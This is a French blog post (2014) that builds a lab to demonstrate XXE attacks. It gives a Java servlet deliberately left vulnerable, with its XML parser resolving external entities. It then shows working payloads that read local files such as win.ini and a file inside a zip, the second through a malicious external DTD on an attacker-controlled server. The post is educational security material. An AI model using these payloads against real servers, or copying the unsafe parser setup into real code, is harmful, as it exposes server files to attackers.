samedi 20 décembre 2014

Une faille XXL: l’attaque XXE

En 2013 certains experts en sécurité incluant ceux de VSR affirmait percevoir une augmentation du nombre d’attaques autour de XXE (http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf ).

L’objectif de cet article est de créer un environnement de démonstration de ces vulnérabilités.

XML est très populaire et on le retrouve utilisé dans de nombreux protocoles réseau dont WebDAV, CalDAV, XMLRPC, SOAP, XMPP, SAML, XACML et d’autres encore.

Un document XML se base sur une grammaire permettant de vérifier sa conformité, appelé DTD (Document Type Definition). Ces DTD sont bien connus comme étant une source de problèmes de sécurité.

Des entités peuvent être déclarées dans le DTD pour définir des variables. Ces entités internes permettent de définir des règles de substitution d’un élément par un autre dans le document XML. Mais ces entités peuvent aussi être externes et dans ce cas faire référence à des ressources qui peuvent être le système de fichier local ou un ordinateur distant.

Tout d’abord on doit avoir une application de test permettant de parser un document XML pour générer un document formatté. Pour cela nous aller créer une servlet Java.

Voici le code de la servlet:

   1: package com.mycode.example;
   2:  
   3: import java.io.IOException;
   4: import java.io.PrintWriter;
   5: import java.io.StringReader;
   6:  
   7: import javax.servlet.ServletException;
   8: import javax.servlet.http.HttpServlet;
   9: import javax.servlet.http.HttpServletRequest;
  10: import javax.servlet.http.HttpServletResponse;
  11: import java.io.*;
  12: import javax.xml.parsers.DocumentBuilder;
  13: import javax.xml.parsers.DocumentBuilderFactory;
  14: import org.w3c.dom.Document;
  15: import org.w3c.dom.Element;
  16: import org.w3c.dom.Node;
  17: import org.w3c.dom.NodeList;
  18: import org.xml.sax.InputSource;
  19:  
  20: /**
  21:  * Servlet implementation class VulnerableServlet
  22:  */
  23: //@WebServlet("/VulnerableServlet");
  24: public class VulnerableServlet extends HttpServlet {
  25:     private static final long serialVersionUID = 1L;
  26:        
  27:     /**
  28:      * @see HttpServlet#HttpServlet()
  29:      */
  30:     public VulnerableServlet() {
  31:         super();
  32:         // TODO Auto-generated constructor stub
  33:     }
  34:  
  35:     /**
  36:      * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
  37:      */
  38:     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  39:         // TODO Auto-generated method stub
  40:         doPost(request, response);
  41:         //super.doGet(request, response);
  42:     }
  43:  
  44:     /**
  45:      * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
  46:      */
  47:     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  48:         // TODO Auto-generated method stub
  49:         try {
  50:             response.setContentType("text/html");
  51:             PrintWriter out = response.getWriter();
  52:             if (request.getParameter("xmldata") == null) {
  53:                 out.println("<form method=\"post\" action=\"VulnerableServlet\"><textarea name=\"xmldata\" cols=75 rows=25>Input XML data here.</textarea><input type=\"submit\" value=\"Submit\"</form>");
  54:             } else {
  55:                 StringReader reader = new StringReader( request.getParameter("xmldata") );
  56:                 InputSource inputSource = new InputSource( reader );
  57:                 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  58:                 DocumentBuilder db = dbf.newDocumentBuilder();
  59:                 Document doc = db.parse(inputSource);
  60:                 reader.close();
  61:                 doc.getDocumentElement().normalize();
  62:                 out.println("Root element " + doc.getDocumentElement().getNodeName() + "<br>");
  63:                 NodeList nodeLst = doc.getElementsByTagName("employee");
  64:                 out.println("Information of all employees" + "<br>");
  65:                 for (int s = 0; s < nodeLst.getLength(); s++) {
  66:                     Node fstNode = nodeLst.item(s);
  67:                     if (fstNode.getNodeType() == Node.ELEMENT_NODE) {
  68:                         Element fstElmnt = (Element) fstNode;
  69:                         NodeList fstNmElmntLst = fstElmnt.getElementsByTagName("firstname");
  70:                         Element fstNmElmnt = (Element) fstNmElmntLst.item(0);
  71:                         NodeList fstNm = fstNmElmnt.getChildNodes();
  72:                         out.println("First Name : " + ((Node) fstNm.item(0)).getNodeValue() + "<br>");
  73:                         NodeList lstNmElmntLst = fstElmnt.getElementsByTagName("lastname");
  74:                         Element lstNmElmnt = (Element) lstNmElmntLst.item(0);
  75:                         NodeList lstNm = lstNmElmnt.getChildNodes();
  76:                         out.println("Last Name : " + ((Node) lstNm.item(0)).getNodeValue() + "<br>");
  77:                     }
  78:                 }
  79:             }
  80:         } catch (Exception e) {
  81:             e.printStackTrace();
  82:         }
  83:  
  84:         //super.doPost(request, response);
  85:     }
  86:  
  87: }

Cette servlet est exécutée dans un environnement Apache/Tomcat avec Eclipse et on obtient:


image


Voici un document XML standard:



   1: <?xml version="1.0"?>
   2: <company>
   3:     <employee>
   4:         <firstname>Jo</firstname>
   5:         <lastname>Black</lastname>
   6:     </employee>
   7:     <employee>
   8:         <firstname>John</firstname>
   9:         <lastname>Doe</lastname>
  10:     </employee>
  11:     <employee>
  12:         <firstname>Bob</firstname>
  13:         <lastname>Smith</lastname>
  14:     </employee>
  15: </company>

Si on saisit ce document XML dans notre servlet on obtient:


image


Si maintenant on intègre une entité externe pour obtenir le contenu du fichier “C:\Windows\win.ini” alors le document XML devient:



   1: <?xml version="1.0"?>
   2: <!DOCTYPE company[
   3:     &lt;!ENTITY c SYSTEM "file:///c:/windows/win.ini">
   4: ]>
   5: <company>
   6:     <employee>
   7:         <firstname>Jo</firstname>
   8:         <lastname>Black</lastname>
   9:     </employee>
  10:     <employee>
  11:         <firstname>John</firstname>
  12:         <lastname>Doe</lastname>
  13:     </employee>
  14:     <employee>
  15:         <firstname>&c;Bob</firstname>
  16:         <lastname>Smith</lastname>
  17:     </employee>
  18: </company>

Et on obtient comme prévu le contenu du fichier “win.ini”:


image


Dans le document XML précédent aucune référence n’est faite à un DTD externe. Le DTD malicieux est construit dans le document XML lui-même. Nous allons maintenant compliquer un peu les choses pour récupérer le contenu d’un fichier qui se trouve dans un fichier “zip”. Et pour cela nous intégrons un DTD externe que nous hébergeons nous-mêmes.


Le contenu du document XML permettant de récupérer le fichier “eclipse.ini” qui se trouve dans le fichier “D:/Program Files/eclipse-jee-luna-SR1-win32-x86_64.zip” est le suivant:



   1: <?xml version="1.0"?>
   2: <!DOCTYPE company[
   3:     &lt;!ENTITY % start "<![CDATA[">
   4:     <!ENTITY % goodies SYSTEM "jar:file:///D:/Program Files/eclipse-jee-luna-SR1-win32-x86_64.zip!/eclipse/eclipse.ini">
   5:     <!ENTITY % end "]]>"> 
   6:     <!ENTITY % externalDTD SYSTEM "http://monserveur/external1.dtd"> 
   7:     %externalDTD;
   8: ]>
   9: <company>
  10:     <employee>
  11:         <firstname>Jo</firstname>
  12:         <lastname>Black</lastname>
  13:     </employee>
  14:     <employee>
  15:         <firstname>John</firstname>
  16:         <lastname>Doe</lastname>
  17:     </employee>
  18:     <employee>
  19:         <firstname>&all;Bob</firstname>
  20:         <lastname>Smith</lastname>
  21:     </employee>
  22: </company>

On obtient le contenu du fichier “eclispe.ini” comme prévu:


image


Pour permettre cette opération le contenu de notre DTD malicieux situé dans http://monserveur/external1.dtd est:



   1: <?xml version="1.0" encoding="UTF-8"?> 
   2: <!ENTITY all "%start;%goodies;%end;">

Source: Attacking Server Side XML Parsers By Kingcope http://www.exploit-db.com/wp-content/themes/exploit/docs/16093.pdf

1 commentaire:

  1. Can you please upload the war file? i would like to do some testing. Many thanks

    RépondreSupprimer

Partager avec...